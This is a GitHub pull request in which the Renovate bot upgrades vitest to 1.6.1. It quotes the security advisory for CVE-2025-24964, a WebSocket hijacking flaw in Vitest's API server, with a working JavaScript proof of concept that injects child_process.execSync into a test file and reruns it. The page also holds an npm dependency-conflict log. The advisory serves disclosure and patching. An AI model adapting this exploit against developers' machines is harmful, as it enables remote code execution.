Skip to content

Update dependency vitest to v1.6.1 [SECURITY] #230

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Feb 4, 2025

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
vitest (source) 1.6.0 -> 1.6.1 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2025-24964

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.


Release Notes

vitest-dev/vitest (vitest)

v1.6.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link
Contributor Author

renovate bot commented Feb 4, 2025

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: package-lock.json
npm warn Unknown env config "store". This will stop working in the next major version of npm.
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: @vitest/coverage-v8@1.6.0
npm error Found: vitest@1.6.1
npm error node_modules/vitest
npm error   dev vitest@"1.6.1" from the root project
npm error
npm error Could not resolve dependency:
npm error peer vitest@"1.6.0" from @vitest/coverage-v8@1.6.0
npm error node_modules/@vitest/coverage-v8
npm error   dev @vitest/coverage-v8@"1.6.0" from the root project
npm error
npm error Conflicting peer dependency: vitest@1.6.0
npm error node_modules/vitest
npm error   peer vitest@"1.6.0" from @vitest/coverage-v8@1.6.0
npm error   node_modules/@vitest/coverage-v8
npm error     dev @vitest/coverage-v8@"1.6.0" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry
npm error this command with --force or --legacy-peer-deps
npm error to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2025-04-27T04_12_02_760Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2025-04-27T04_12_02_760Z-debug-0.log

@github-actions github-actions bot enabled auto-merge February 4, 2025 18:15
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from cb5dcd4 to 63b5176 Compare February 8, 2025 08:35
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 63b5176 to 57a938f Compare February 8, 2025 13:53
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 57a938f to db7efe5 Compare February 10, 2025 08:31
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from db7efe5 to 007334d Compare February 11, 2025 11:58
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 007334d to 65bced2 Compare February 12, 2025 10:49
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 65bced2 to 9300e41 Compare February 12, 2025 21:46
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 9300e41 to 623b286 Compare February 14, 2025 12:25
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 623b286 to 726639d Compare February 14, 2025 18:50
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 726639d to c64c938 Compare February 19, 2025 02:38
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from c64c938 to 7324850 Compare February 21, 2025 20:09
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 7324850 to 816ceeb Compare February 21, 2025 20:11
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 816ceeb to 2da4162 Compare February 24, 2025 12:13
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 2da4162 to 9a73826 Compare March 7, 2025 19:33
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 9a73826 to 2d601d7 Compare March 9, 2025 06:55
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 2d601d7 to 2b93fac Compare March 15, 2025 06:30
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 2b93fac to 10c7716 Compare March 19, 2025 15:41
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 10c7716 to f50ffae Compare March 29, 2025 00:17
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from f50ffae to 68d4698 Compare March 30, 2025 17:30
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from 68d4698 to dc3d6ed Compare April 5, 2025 10:13
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from dc3d6ed to ab0e02d Compare April 12, 2025 11:50
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from ab0e02d to c8d501e Compare April 12, 2025 11:53
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from c8d501e to d2ee91c Compare April 18, 2025 17:39
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from d2ee91c to e541f81 Compare April 19, 2025 23:16
@renovate renovate bot force-pushed the renovate/npm-vitest-vulnerability branch from e541f81 to 681b721 Compare April 27, 2025 04:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants